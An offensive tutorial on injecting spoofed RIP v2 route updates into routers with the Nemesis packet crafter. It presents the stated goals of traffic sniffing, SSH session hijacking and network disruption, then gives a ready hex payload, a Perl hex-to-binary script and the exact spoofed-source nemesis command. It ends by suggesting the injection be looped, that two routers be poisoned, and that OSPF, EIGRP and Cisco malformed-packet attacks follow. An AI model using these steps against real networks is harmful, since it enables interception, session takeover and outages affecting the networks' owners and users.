

Crafting Routing Protocols Using Nemesis

MattA

(Credits Also To B4rtm4n For Help With Rip Injection And Perl Coding)

What's the Payoff ?

This tutorial shows how to use nemesis to craft a UDP packet and custom payload then deliver it to a router running RIP.

This enables us to perform the following attacks:

1. This allows us to propagate a bogus route into the routing environment . We can then attack from an IP block that has not yet been allocated or a subnet that is in use by another company but has not yet been allocated. (IP spoofing).
2. We can place ourselves in the routing path of all network traffic. This allows the sniffing of traffic that normally you'd have to be on the same broadcast domain as the victim to sniff.
3. It also can enable us to TCP session hijack our victim and take over an SSH session of the victim after they have authenticated with the server.
4. We can disrupt all network traffic by telling all traffic to go to an unreachable destination, or add loops into the routing topology.

The basis of this tutorial is to show you how to craft a RIP packet which will convey a RIP update to a node running RIP. You will also notice it would be straightforward to use this tutorial as a basis for crafting other protocols such as DNS, OSPF, IGRP, and EIGRP.

Choose your Weapons

Here we are going to be using the following tools.

1. Nemesis - Nemesis is a portable IP stack that we will use to inject our payload. Nemesis will write anything* into the packet so we need to know what we are doing and study the packet we are going to craft's structure and what router's will expect the packet to contain. Otherwise we will just create malformed packets, which will be dropped by the receiving device. You'd do well to read the relevant RFC's and TCP/IP illustrated before attempting to craft your own.
2. Ethereal - I've said enough already. We need it to make sure our packets are well formed when we send them, also it's very useful to analyse other packets we may want to craft and use as a basis for a nemesis payload. Also if we send a request to another router for it's routing table we need it to sniff the reply. Enumeration of the target environment is key to this attack.
3. B4rtm4n's perl script - You won't get too far with it. This converts our hex code into binary. Our payload file that will be used by Nemesis must be in binary or we'll simply write rubbish into our packet. This is our magic ingredient.

Crafting Routing Protocols Using Nemesis

MattA

(Credits Also To B4rtm4n For Help With Rip Injection And Perl Coding)

What is RIP?

RIP is an interior gateway protocol that is mature, stable, and is widely supported by many manufacturers. It is also easy to configure. Therefore, it is suitable for use in stub networks, and small AS's (autonomous systems) that do not have many redundant paths. Having too many redundant paths would warrant a more sophisticated routing protocol. RIP is broadcast based, and uses UDP as it's transport protocol, and by default will listen on port 520. There are two versions of RIP; RIP v1 (RFC 1388) and RIP v2 (RFC 1723).

RIP is also a distance vector routing protocol. What that means is it can be prone to routing loops. Which are controlled via hold down timers, and split horizon processing.

RIP sends routing table updates at regular intervals (every 30 seconds), and when there is a change to the routing topology. It also marks routes, as invalid when it doesn't receive regular updates for them.

When a router receives an update it in turn updates it's own routing table. The RIP enabled router then increases the route metric by one, and adds the sender as the next hop destination.

RIP maintains only the routes with the lowest metrics to a destination. A metric of greater than 15 is considered infinite and therefore unreachable. RIP security mechanisms consist of configuring the router to only accept routes from neighbouring routers.(easily spoofed as the transport is UDP). Lastly there is also plaintext password authentication.

RIP Packet Structure

In order to get the ascii payload correct for the binary file we need to understand the RIP version 2 structure to get meaningful results. This is taken directly from RFC 1723 with a few of my own notes for clarity and brevity.

The first four octets of a RIP message contain the RIP header. The remainder of the message is composed of 1 - 25 route entries (20 octets each). The new RIP message format is:

```
0 1 2 3 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-----+-----+-----+-----+-----+-----+-----+-----+
| Command (1) | Version (1) | unused |
+-----+-----+-----+-----+-----+-----+-----+-----+
| Address Family Identifier (2) | Route Tag (2) |
+-----+-----+-----+-----+-----+-----+-----+-----+
| IP Address (4) |
+-----+-----+-----+-----+-----+-----+-----+-----+
| Subnet Mask (4) |
+-----+-----+-----+-----+-----+-----+-----+-----+
| Next Hop (4) |
+-----+-----+-----+-----+-----+-----+-----+-----+
| Metric (4) |
```

Crafting Routing Protocols Using Nemesis

MattA

(Credits Also To B4rtm4n For Help With Rip Injection And Perl Coding)

+-----+

The Command, Address Family Identifier (AFI), IP Address, and Metric all have the meanings defined in RFC 1058. The Version field will specify version number 2 for RIP messages which use authentication or carry information in any of the newly defined fields. The contents of the unused field (two octets) shall be ignored.

Command field lets the router know what it has to do with the packet. Valid values are 1 or 2.

- 1 is a rip request , this tells the router to send me all the routes it currently knows. (useful for evaluating what routes you might need to change).
- 2 is a RIP update. This tells the router what routes to add to it's routing table
- Version field - says whether or not it's rip version 1 or 2.
- Unused - as it says we don't use this field and set it to 0.
- Address family identifier - only IP is supported therefore the value must be 2 (IP).
- Route tag - The RIP route may be propogated further by other routers using other protocols such as, OSPF. If we could learn this from the network we are attacking our route may be propogated further by other routers. Otherwise set it to 0.
- IP Address - IP address of the router propogating the route. As the transport for this is UDP you can pretend to have an IP other than your true IP as no session is setup between yourself and the victim as TCP would. This means you can pretend to be a trusted neighbouring router.
- Subnet mask for the route you wish to propogate.
- Next hop - The IP of the router you want the traffic to go to (yourself if you intend to sniff or session hijack the traffic, you could also create a routing loop or blackhole route is you wished though).
- Metric - The cost of the route. 1 means directly connected , 16 is unreachable, over 16 and the packet will be dropped outright. By adjusting the metric we can add new , seemingly better, routes of our choosing or kill routes learned from other routers.

A Captured RIP v2 Packet

Here's packet that was captured using Ethereal, we aren't interested in anything other than the green section as that's the RIP update structure as defined by the RFC. Even though Ethereal shows this as hex it's actually on the wire in binary, This means that when we craft our payload we must write the contents of the packet in hex then convert it to binary using a script. We only need to generate the section highlighted in green as Nemesis will create the rest of our headers for us.

Crafting Routing Protocols Using Nemesis

MattA

(Credits Also To B4rtm4n For Help With Rip Injection And Perl Coding)

```
0000 ff ff ff ff ff ff 00 00 b4 90 aa 59 08 00 45 00 .....Y..E.
0010 00 34 03 52 00 00 80 11 b4 e4 c0 a8 00 33 c0 a8 .4.R.....3..
0020 00 ff 02 08 02 08 00 20 6e 14 02 02 00 00 00 02 ..... n.....
0030 00 00 0a 00 00 00 ff 00 00 00 00 00 00 00 00 .....
0040 00 02..
..
```

Preparing our Payload

What we are doing here is preparing a text file, we will then convert this from hex to binary and inject it using nemesis. This is the payload Nemesis will carry to our target. Note that what is being prepared here is the section highlighted in green from the previous section. Also the packet being prepared is sending a different route other than the one illustrated above, but they both start 02 02 for reasons shown later.

Here's the ascii which we will convert:

```
020200000002000000e000000ffffff00c0a8007f00000002
02 this is our command an update a 02 (remember this is hex, to convert from bin
to hex get your calc out type in the decimal and click the hex button)
02 RIP version 2
0000 two unused bytes
0002 AFI is IP (it's the only valid one)
0000 this is our route tag it needs to be 0 unless we know it will be reused by
another protcol
0e000000 this is the hex for the route to propogate
ffffff00 subnet mask in hex for our route
c0a8007f router advertising the route
000000002 metric for the route
```

we then copy the following into a text file.

```
020200000002000000e000000ffffff00c0a8007f00000002
```

note no spaces and 00 = 1 byte therefore my ip is c0 (192) a8 (168) 00 (0) 7f (127)
After we've put the string of ascii into our text file we then convert it using the hex2bin perl script coded by b4rtm4n.

```
#!/usr/bin/perl -w

### Coded by B4rtm4n (c) 06/05/2005
### HEX to binary
###
###

### Convert datagram to raw ASCII
```

Crafting Routing Protocols Using Nemesis

MattA

(Credits Also To B4rtm4n For Help With Rip Injection And Perl Coding)

```
### Get input from file

#$usage="perl hex2bin.pl hex.file > bin.file\n"

$input = "";

while (<>)
{
$input=$input.$_;
#print "$input";
}

#$input = chomp ($input);

$x=length($input); #get the size of the input
$ascii=""; #ensure the string is initally null

for ($y=0; $y < $x; $y++ )
{
$z=substr($input, $y, 2);
$dec= hex ($z);
$ascii= chr ($dec);
print "$ascii";
$y++;
}
```

We then create our binary that will be written to the wire like so:

```
MattA@W34p0nX /home/MattA ->perl hex2bin.pl inject > ascii.bin
```

We then inject the payload with nemesis:

```
W34p0nX# nemesis udp -P /ascii.bin -S 192.168.0.127 -D 192.168.0.1 -x 520 -y 520 -t0
```

```
UDP Packet Injected
```

The syntax there was nemesis udp - use UDP as a transport:

```
-P payload file
-S where it's coming from which can be anywhere no TCP handshake to negotiate
-D who I want to get the route
-x source port
-y destination port
-t 0 IP type of service
```

Crafting Routing Protocols Using Nemesis

MattA

(Credits Also To B4rtm4n For Help With Rip Injection And Perl Coding)

That's it the receiving router will now have a newly learned route in it's routing table. You might want to knock up a short shell script to loop the nemesis command or the route will drop out 30 seconds later, and that's not long enough for a good sniff you also might want to poison two routers to get all the traffic (there and back) going through you.

Congrats, you own the entire network.

Where to Now Then ?

That get you started with a simple routing protocol, it's a little bit harder to use this same technique to route poison OSPF and EIGRP, but the results are exactly the same. You might even try some of the malformed packet exploits that some Cisco routers are vulnerable to.

All across the Internet, routers whisper paths they learn to their peers directing ideas, business transactions and messages to loved one's across this planet. I've held all these in my hand and listened, holding my breath for fear of killing it with a twitch.